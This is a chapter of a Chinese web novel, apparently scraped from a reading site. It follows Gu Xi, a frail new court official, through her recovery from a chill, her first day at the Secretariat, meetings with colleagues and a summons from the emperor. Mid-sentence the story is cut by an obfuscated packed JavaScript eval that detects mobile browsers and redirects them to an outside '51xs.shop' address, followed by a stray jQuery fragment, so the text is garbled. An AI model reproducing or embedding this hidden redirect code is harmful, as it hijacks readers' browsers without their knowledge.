10. 上班上班上班就是为了下班
    榆林想着今日殿下替公子除了头,应该也不一丁点儿都不在意那位,可要说在意他属实也不好昧着良心承认。

    他公事公办的回话:“是公子回来了,听闻是身体不适,请了邹清。”

    晏渝川翻过一页,黑眸注视着书卷,边回:“让他从我库房里拿药。”

    榆林:“是。”

    榆林又等了等,也没见他还有什么动作,只好退出去让人传话。

    他和邹清在晏渝川私库前碰头。

    榆林:“公子的情况怎么样?”

    邹清叹了口气:“倒不是什么大事,只是下午受了凉,公子身体本就虚弱,才导致症状看起来比较严重。”

    这段时间相处下来,他瞧着谷溪也是个好孩子,只可惜天妒英才,她那样的身体,若是不想办法整治,怕是于寿数有碍。

    这话说出来也太过沉重,殿下没问起他也没有多嘴,只希望派出去的寻找师兄的人能早些传回消息。

    谷溪这一觉睡得极沉,第二日醒来望着屋里一片暗色,还有些不知今夕是何夕。

    她捂着胸口轻咳两声,声音沙哑:“春雨?”

    门外安静下来,很快就传来脚步声,随着那人走近,特殊的冷香再次将她包围。

    谷溪徒劳的睁大眼睛,直到晏渝川点燃了烛火才看清他的模样,一身冷硬的轻甲让男人的身形更显高大,气势愈发冷厉摄人。

    让人不敢直视。

    她的视线却慢慢悠悠从晏渝川的穿着一点点爬升到那张格外成熟俊朗的脸上,明明比自己大了九岁,这人的面容上却看不出什么痕迹。

    称得上鬓若刀裁,眉如墨画,面无表情看过来的时候,简直像是一尊带着冰冷杀意的佛像。

    仍由她看了好一会儿,也没等到谷溪说话的晏渝川,放在桌上的手掌动了动。

    还是起身来到她面前。

    谷溪眼前一黒,粗粝的指腹擦过她的侧脸,然后将缎带在她的脑后系了个结。

    晏渝川看着那双亮晶晶的眼睛一点点被月白色的缎带遮掩,才缓缓开口:“邹清说你这次受寒,给眼睛造成了负担,给你用了新药。”

    “这几天要注意避着光,之前的药也要停了,以免药性相冲。”

    谷溪被子里的手紧了紧,之前她吃的药,除了温养身体的,就是缓解体内毒性的解药。

    上次邹大夫没有看出异样,这次……应当也是巧合。

    只是换药的日子要往后顺延了。

    她定了定神,问出最关心的问题:“昨日陛下让我今日去中书省当值,我感觉现在好多了,不能去当值吗?”

    晏渝川站在床边看着眼睛被蒙上之后,看起来更加柔软的谷溪,视线不经意落在她微敞的衣领,扫见了一片苍白柔润的肌肤。

    他立即将眼神收了回来,语气平静的回答谷溪的问题。

    “我今日进宫,会和陛下禀明。”

    他心中却有些疑惑。

    谷溪的身形是不是有些太过纤细,许是从小身体不好的缘故,身量也只六尺不到。

    谷溪闻言有些失落,不过想来的现在的身体状况也不允许她拥有上进心。

    要是勉强带病上班,恐怕就试试就逝世了。

    她躺回床上有气无力的“嗯”了一声。

    晏渝川说完了本该直接离开,谷溪还病着这房间都是浓郁的药味,在战场中见多了受伤濒死的人,平日里反而最不喜太过柔软虚弱的人或物。

    一不注意就会在看不见的地方出事。

    他看着谷溪微微蹙起的眉头,嘴唇动了动,鬼使神差的留下一句。

    “既然陛下看重你,看的不是一日两日,而是以后你能慢慢积累,做出些什么,不必急于一时,陛下不会怪罪的。”

    谷溪在床上大字型躺平,听了他的话,一只脚蹬了出去露在被子外面。

    她心道:如果晏渝苏留下她是看重,她倒是不必这么上进了。

    太过看重也不是好事。

    好在这位陛下是为了罚她。

    正好她也能仗着这个由头多在谷家捞点好处,等攒到一定身家,趁着外放跑路,日子也好过。

    晏渝川没说什么转身离开,在离开之前,他扯了扯被子,把她露在外面透气的脚给盖严实了。

    谷溪:?

    在府里养了两天,风寒已经好的差不多,只是按照邹清的意思还要喝几天药巩固一下。

    她只好晚间蒙上眼睛,休息了一整晚,第二日才摘了蒙眼的缎带,换上从六品官员棕黄飞禽补子的袍子,上了马车。

    谷溪坐在马车上抬手看了看身上的袍子,不禁失笑:“好歹也是绸做的外袍,居然还嫌弃这颜色不好看。”

    今日坚持送她去宫城南边上值的春雨,抿唇有些不好意思:“奴婢这说的也是实话,还是状元服的红袍适合公子。”

    “这棕黄色平日里一般人家都不爱穿,多亏公子您生的好看,才撑得起来呢。”

    谷溪一到早上就被这一通夸赞,心情也好起来。

    她第一天当值,要去中书省拜见了上官再被安排下去做事,此时正是上值的时候,官署外已经停了一长串马车,这些都是和她一样五品一下的官。

    若是五品以上的就要起得更早些,去太极殿上早朝。

    谷溪心中庆幸着跟着指引往里走,到了中书省的官署,领路的小厮又多看了她一眼,才转身离开。

    她莫名的摸了摸脸,总觉得这一路上落在后背的目光有点多,等她看过去的时候,又只有同样身穿棕黄色衣袍的同僚行色匆匆。

    偶尔对上视线的竟然还红了脸。

    谷溪摸了摸胳膊上的鸡皮疙瘩,这地方有点怪。

    中书省作为直属陛下的重要政务机构,官署也比别的地方气派,进了门就是对称排开的房间,还都对着一块小庭院,目之所及所有案几上都摆满了厚厚的文书。

    还有两处几十平的公共房间,同样摆满了案几,看起来更加拥挤。

    此时已经有许多下级官员开始忙活了,一个个拿着文书细细端详、或是奋笔疾书,谷溪在大门前站了一会儿也没见人搭理。

    这时她侧前方一间单独的房间门被人从里面打开,走出了一个身穿棕黄色官袍的女子。

    谷溪知道她,她是这一届的榜眼,以女子之身入朝的林暮雪。

    她双眸一亮,刚想上前打招呼,林暮雪眼中闪过什么,点点头就脚步匆匆离开了。

    谷溪有些茫然,刚才林暮雪看见她是不是有些惊讶和失望?

    看错了?

    一道温和的声音打断了她的思绪。

    “谷兄,久等了,在下林云生。”

    林云生是一个目光清正的中年人,正五品中书省右司郎中,特意上了早朝赶过来,亲自带着她在中书省转了一圈了解后,将她带进一个小隔间。

    林云生:“陛下命你为通事舍人,这是相关文书,稍后由林舍人带你熟悉事务,明日便跟着她熟悉几日。”

    林舍人就是林暮雪。

    谷溪看了眼外面的大通铺,又看了看这个小隔间,她受不了太混杂的气味,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300469|152218||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有个小隔间固然好。

    可来之前也是做好了大通铺办公的准备的,反正她只待半天。

    只是这特殊待遇也不好坦然受了,她更害怕麻烦。

    谷溪:“多谢林大人,只是我单独占了一间,恐怕于理不合。”

    林云生的神色更亲和了点。

    “谷舍人不必担忧,您身体不好,这是裴大人的意思,过了正规流程的。”

    谷溪更不放心了。

    裴大人应该就是右相,也是这里的老大,右相没必要特意关照她,这是干什么?

    她也不好当着这么多人的面回绝,面色平静的坐下来翻看文书,打定主意回去问问晏渝川。

    恐怕是来勾搭晏渝川的。

    到时候问问怎么办。

    没过一会儿,林暮雪果然来了,她公事公办的为她讲解事务和需要注意的地方,一点也看不出来刚才见她时的神色。

    谷溪将那一丝疑惑抛在脑后,认真当起了三好学生。

    什么时辰去太极殿查看,引导朝臣进殿,帮忙呈递奏章,在殿上帮忙传达诏令,偶尔极少的时候还兼任传旨并监督的活儿。

    不复杂,但都是和皇帝沾边儿的,需要十二分小心。

    林暮雪:“下早朝后,将这些事务收尾就行,下午一般没什么重要的事情,一般是在官署待命或者被抽调帮忙。”

    她将所有事务都跟谷溪过了一遍才离开。

    谷溪看着她的背影,为刚才的偏见道歉。

    世上还是好人多啊。

    这交接的也太清楚了,林暮雪人真不错,就是冷了点。

    她将刚才需要注意的点都细细记了下来,一抬眼才发现快到中午了,官署里也多了些烟火气。

    谷溪愉快的答应了犹犹豫豫过来邀请她一起吃饭的同僚,一同去了官署饭堂。

    林暮雪独自一人从官署走出,神色复杂的看着谷溪过于纤瘦的背影,身旁凑上去的同僚神色也看的出高兴,也许只有谷溪这种被宠爱着长大的孩子才会是这种性格。

    也更容易遇到和接受他人的好意。

    她眼神逐渐冷了下来,穿过人群静静离开。

    她对小少爷没意见,可如果谷溪要一而再再而三的破坏她的计划,就别怪她无情了。

    谷溪恐怕永远都没见过塞外能杀人的风雪。

    饭堂里的饭菜比谷溪想象中好点,好歹是温热的。

    她的饭搭子名何单,是镇国公府的小儿子,是走后门的进来的。

    何单:“可把你盼来了,你可知这之前我过的什么日子,这些人一个个都清高的很,竟然一个愿意和我吃饭的人都没有!”

    谷溪脸上的微笑尴尬而不失礼貌。

    疑似被内涵了,不确定再看看。

    何单继续:“你是不是觉得这饭菜还可以?就这还是前几天宫里的小元公公来了一趟,咱才能吃上口热乎的。”

    吃饭都堵不住何单的嘴,谷溪完全插不上话,只能微笑着听着他讲。

    “哎,这才是日子啊,以前一睁眼就是来上值,还被孤立,一整天连热饭都吃不上,吃着饭都觉得这日子差不多也过到头了。”

    谷溪:“……”

    饭堂已经安静下来,她朝对面使眼色,使得眼睛都要抽筋了,还是没能止住何单的嘴。

    她一脸窒息的抬头,正对上男人黑沉的眼眸。

    见她一副天要亡我的表情,那人似乎觉得有点好笑,黑眸中也就带上了点笑意。

    在一片寂静中,晏渝苏点了她:“卿随我来。”